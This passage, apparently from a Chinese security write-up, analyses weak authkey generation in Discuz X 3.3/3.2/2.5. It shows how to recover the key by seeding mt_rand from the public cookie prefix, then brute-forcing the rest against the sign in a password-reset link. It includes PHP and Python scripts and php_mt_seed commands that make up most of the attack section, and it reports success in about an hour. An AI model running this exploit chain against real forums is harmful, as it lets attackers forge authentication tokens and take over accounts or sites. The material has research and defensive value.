3. 修复建议
删除相关代码。
详见Discuz码云:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
4. reference
1. http://www.freebuf.com/vuls/149904.html
2. https://www.seebug.org/vuldb/ssvid-96608
3. https://www.seebug.org/vuldb/ssvid-93588
三、 Discuz X3.3 authkey 生成算法的安全性漏洞
version: 3.3 / 3.2 / 2.5
0. 漏洞分析
在 dz3.3/upload/install/index.php
346行
$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10); $_config['db'][1]['dbhost'] = $dbhost; $_config['db'][1]['dbname'] = $dbname; $_config['db'][1]['dbpw'] = $dbpw; $_config['db'][1]['dbuser'] = $dbuser; $_config['db'][1]['tablepre'] = $tablepre; $_config['admincp']['founder'] = (string)$uid; $_config['security']['authkey'] = $authkey; $_config['cookie']['cookiepre'] = random(4).'_'; $_config['memory']['prefix'] = random(6).'_';
可以看到authkey是多个参数的md5前6位加上random生成的10位产生的。跟入random函数
function random($length){ $hash=''; $chars='ABCDEFGHIGKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; $max = strlen($chars)-1; PHP_VERSION < '4.2.0' && mt_srand((double)microtime()*1000000); for($i = 0; $i < $length; $i++){ $hash .= $chars[mt_rand(0, $max)]; } return $hash; }
看到,当php版本大4.2.0时,随机数种子不会改变看到生成authkey之后,使用random函数生成了4位cookie前缀 $_config['cookie']['cookiepre']=random(4).'_';
那么这4位cookie前缀就是我们可以得到的,那我们就可以使用字符集加上4位已知字符,爆破随机数种子。
思路:
通过已知的4位,算出random使用的种子,进而得到authkey的后10位。那剩下的就需要搞定前6位,根据其生成算法,只号选择爆破的方式,由于数量太大,就一定要选择一个本地爆破的方法(即使用到authkey而且加密后的结果时已知的)。
在调用authcode函数很多的地方都可以进行校验,在这里使用找回密码链接中的id和sign参数:
sign生成的方法如下:
function dsign($str, $length = 16){ return substr(md5($str.getglobal('config/security/authkey')), 0, ($length ? max(8, $length) : 16)); }
爆破authkey的流程:
1.通过cookie前缀爆破随机数的seed。使用phpmtseed工具。
2.用seed生成random(10),得到所有可能的authkey后缀。
3.给自己的账号发送一封找回密码邮件,取出找回密码链接。
4.用生成的后缀爆破前6位,范围是 0x000000-0xffffff
,和找回密码url拼接后做MD5求出sign。
5.将求出的sign和找回密码链接中的sign对比,相等即停止,获取当前的authkey。
1. 利用过程
1.首先获得4位字符 sVsZ
2.然后通过脚本生成用于 php_mt_seed
的参数
# -*- coding: utf-8 -*- w_len = 10 result = "" str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz" length = len(str_list) for i in xrange(w_len): result+="0 " result+=str(length-1) result+=" " result+="0 " result+=str(length-1) result+=" " sstr = "sVsZ" for i in sstr: result+=str(str_list.index(i)) result+=" " result+=str(str_list.index(i)) result+=" " result+="0 " result+=str(length-1) result+=" " print result ------输出------ 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 54 54 0 61 21 21 0 61 54 54 0 61 25 25 0 61
得到参数,使用phpmtseed脚本
./php_mt_seed0610610610610610610610610610610610610610610610610610610610615454061212106154540612525061>result.txt
这里获得了245组种子,接下来使用随机数种子生成随机字符串
<?php function random($length) { $hash = ''; $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; $max = strlen($chars) - 1; PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000); for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } $fp = fopen('result.txt', 'rb'); $fp2 = fopen('result2.txt', 'wb'); while(!feof($fp)){ $b = fgets($fp, 4096); if(preg_match("/seed = (d)+/", $b, $matach)){ $m = $matach[0]; }else{ continue; } // var_dump(substr($m,7)); mt_srand(substr($m,7)); fwrite($fp2, random(10)." "); } fclose($fp); fclose($fp2);
当我们获得了所有的后缀时,我们需要配合爆破6位字符(0-9a-f)来验证authkey的正确性,由于数量差不多16*6200+,为了在有限的时间内爆出来,所以我们选择一个本地爆破方式。
这里我们使用找回密码中的id和sign参数,如下:
当我们点击忘记密码的时候,会进入 /source/module/member/member_lostpasswd.php
65行用于验证sign的值:
$get_passwd_message = lang( 'email', 'get_passwd_message', array( 'username' => $member['username'], 'bbname' => $_G['setting']['bbname'], 'siteurl' => $_G['siteurl'], 'uid' => $member['uid'], 'idstring' => $idstring, 'clientip' => $_G['clientip'], 'sign' => make_getpws_sign($member['uid'], $idstring), ) );
跟随makegetpwssign函数进入 /source/function/function_member.php
1. function make_getpws_sign($uid, $idstring) { 2. global $_G; 3. $link = "{$_G['siteurl']}member.php?mod=getpasswd&uid={$uid}&id={$idstring}"; 4. return dsign($link); 5. } 然后进入dsign函数,配合authkey生成结果: 1. function dsign($str, $length = 16){ 2. return substr(md5($str.getglobal('config/security/authkey')), 0, ($length ? max(8, $length) :1 6)); 3. }
这里我们可以用python模拟这个过程,然后通过找回密码获得uid、id、sign,爆破判断结果。
找回密码得到链接 <http://192.168.1.128:86/member.php?mod=getpasswd&uid=2&id=S9YzPy&sign=bc8e1a4c6b4cfb51
# coding=utf-8 import itertools import hashlib import time def dsign(authkey): url = "http://127.0.0.1/dz3.3/" idstring = "vnY6nW" uid = 2 uurl = "{}member.php?mod=getpasswd&uid={}&id={}".format(url, uid, idstring) url_md5 = hashlib.md5(uurl+authkey) return url_md5.hexdigest()[:16] def main(): sign = "af3b937d0132a06b" str_list = "0123456789abcdef" with open('result2.txt') as f: ranlist = [s[:-1] for s in f] s_list = sorted(set(ranlist), key=ranlist.index) r_list = itertools.product(str_list, repeat=6) print "[!] start running...." s_time = time.time() for j in r_list: for s in s_list: prefix = "".join(j) authkey = prefix + s # print dsign(authkey) if dsign(authkey) == sign: print "[*] found used time: " + str(time.time() - s_time) return "[*] authkey found: " + authkey print main()
差不多一个小时就可以获得结果